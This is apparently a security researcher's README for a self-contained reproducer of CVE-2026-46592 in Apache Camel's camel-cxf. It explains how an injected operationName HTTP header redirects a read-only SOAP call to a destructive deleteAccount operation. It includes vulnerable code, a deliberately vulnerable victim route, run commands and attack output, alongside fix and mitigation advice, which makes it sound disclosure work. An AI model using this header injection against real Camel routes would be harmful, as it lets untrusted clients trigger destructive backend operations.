Exploit for Confused Deputy in Apache Camel CVE-2026-46592

## https://sploitus.com/exploit?id=ADA95E73-0CF5-56AA-94CD-3A37D22E879D
# camel-cxf `operationName` Header Injection Reproducer (CVE-2026-46592)

This project demonstrates a **SOAP operation redirection** (confused-deputy) in Apache Camel's `camel-cxf`
component, tracked as **CVE-2026-46592**. The `cxf:` producer selects which SOAP operation to invoke on the
backend service from the **`operationName`** (and `operationNamespace`) Exchange header, whose constant values
(`CxfConstants.OPERATION_NAME` / `OPERATION_NAMESPACE`) were the plain strings `operationName` /
`operationNamespace`. Because these names do **not** start with the `Camel` / `camel` prefix,
`HttpHeaderFilterStrategy` — which blocks only the Camel header namespace at the HTTP boundary — let them pass
from an inbound HTTP request straight into the Exchange. In a route that bridges an HTTP consumer (for example
platform-http) into a `cxf:` producer, any HTTP client could therefore set the `operationName` header and have
`CxfProducer` **resolve and invoke a different WSDL operation than the route intended** — replacing a read
operation with a destructive one — against the backend SOAP service.

Advisory: https://camel.apache.org/security/CVE-2026-46592.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-cxf` (`camel-cxf-soap`; the constant lives in `camel-cxf-common`, so `camel-cxfrs` is affected too) |
| **Affected Class** | `org.apache.camel.component.cxf.jaxws.CxfProducer#getBindingOperationInfo` reading `CxfConstants.OPERATION_NAME` (`"operationName"`) |
| **CWE** | CWE-20 (Improper Input Validation) / CWE-441 (Unintended Proxy or Intermediary — Confused Deputy) |
| **Impact** | An HTTP client sets `operationName` → the producer invokes a different SOAP operation (e.g. a destructive one) |
| **Preconditions** | A route bridges an HTTP consumer into a `cxf:` producer; unauthenticated when the consumer is |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23526 (PR [apache/camel#23326](https://github.com/apache/camel/pull/23326)) |
| **Credit** | Yu Bao (PayPal) |

> Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-47323, and shares
> the non-`Camel`-prefixed-header-constant root cause with the camel-elasticsearch `SEARCH_QUERY` and camel-lucene
> `QUERY` siblings.

## Technical Details

```java
// CxfConstants (affected 4.18.2) — the header name is the bare word "operationName":
public static final String OPERATION_NAME = "operationName";

// CxfProducer.getBindingOperationInfo (affected 4.18.2) — header wins over the endpoint default:
String lp = ex.getIn().getHeader(CxfConstants.OPERATION_NAME, String.class);   // inbound "operationName" header
if (lp == null) {
    lp = cxfEndpoint.getDefaultOperationName();                                // only used if the header is absent
}
// ... the resolved name selects the BindingOperationInfo that is then invoked on the backend service
```

The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23526) renames the header **values** to the Camel convention —
`OPERATION_NAME` from `operationName` to `CamelCxfOperationName`, and `OPERATION_NAMESPACE` to
`CamelCxfOperationNamespace` — so they are filtered at transport boundaries like every other Camel control header.
The Java field names are unchanged.

## The victim route

```java
from("platform-http:/api")
    .convertBodyTo(String.class)
    .to("cxf://http://localhost:9000/account"
        + "?serviceClass=com.example.AccountService"
        + "&dataFormat=POJO"
        + "&defaultOperationName=getBalance");     // the route's fixed, read-only intent
```

The route author pins the intended operation with `defaultOperationName=getBalance` (read-only). That intent is
not enforced: the producer prefers an inbound `operationName` header, and that name is not filtered at the HTTP
boundary. The backend SOAP service (published in-process on port 9000, the way camel-cxf's own tests do) exposes
both `getBalance` and a destructive `deleteAccount`.

## Repository layout

Everything runs in a single self-contained app: the backend SOAP service, the victim route, and the attacker
driver.

```
CVE-2026-46592/
├── pom.xml                 # camel-platform-http + camel-cxf-soap 4.18.2 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── AccountService.java        # SOAP contract: getBalance (read) + deleteAccount (destructive)
    │   ├── AccountServiceImpl.java    # backend impl; static state observed for verification
    │   ├── SoapBackend.java           # publishes the CXF SOAP service on :9000
    │   ├── VictimRoute.java           # platform-http:/api -> cxf: producer (defaultOperationName=getBalance)
    │   └── ExploitController.java     # attacker: legit vs operationName=deleteAccount
    └── resources/
        └── application.properties
```

## Prerequisites

- Java 17+ and Maven 3.8+
- Docker (optional, for the containerised run)

## Reproduction Steps

### Option A — Docker (recommended)

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Option B — run the jar directly

```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46592-cxf-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```

### Expected output

```
backend state before: acct-001 present = true

=== 1) Legitimate call (no operationName header) — route intends getBalance ===
  response: [balance=5000 for acct-001]
  acct-001 still present: true

=== 2) Injected call (operationName=deleteAccount) — a destructive operation is invoked ===
  response: [DELETED account acct-001]
  deleteAccount invoked: true
  acct-001 now deleted:  true

>>> Confused-deputy / header-injection proof — an untrusted HTTP client redirected the SOAP
>>> operation from the intended getBalance to deleteAccount via the operationName header: true
```

## Attack Vectors

Any route that bridges an external transport (HTTP, etc.) into a `cxf:` (or `cxfrs:`) producer and lets untrusted
input reach the Exchange headers. The attacker cannot control the operation arguments beyond the request body,
but can freely choose which WSDL operation is invoked.

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23526). After the fix the operation-selection headers are named
`CamelCxfOperationName` / `CamelCxfOperationNamespace` and are filtered at transport boundaries. Routes that
bridge an external transport into a `cxf:` producer and must carry a client-chosen operation now use a
non-`Camel`-prefixed application header and map it to `CamelCxfOperationName` between the transport `from` and the
`cxf:` `to` (see the 4.21 upgrade guide).

## Mitigation

Until upgrading, do not select the CXF operation from untrusted input: strip the `operationName` and
`operationNamespace` headers from any untrusted ingress before the `cxf:` producer, and set the operation from a
trusted source in the route.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.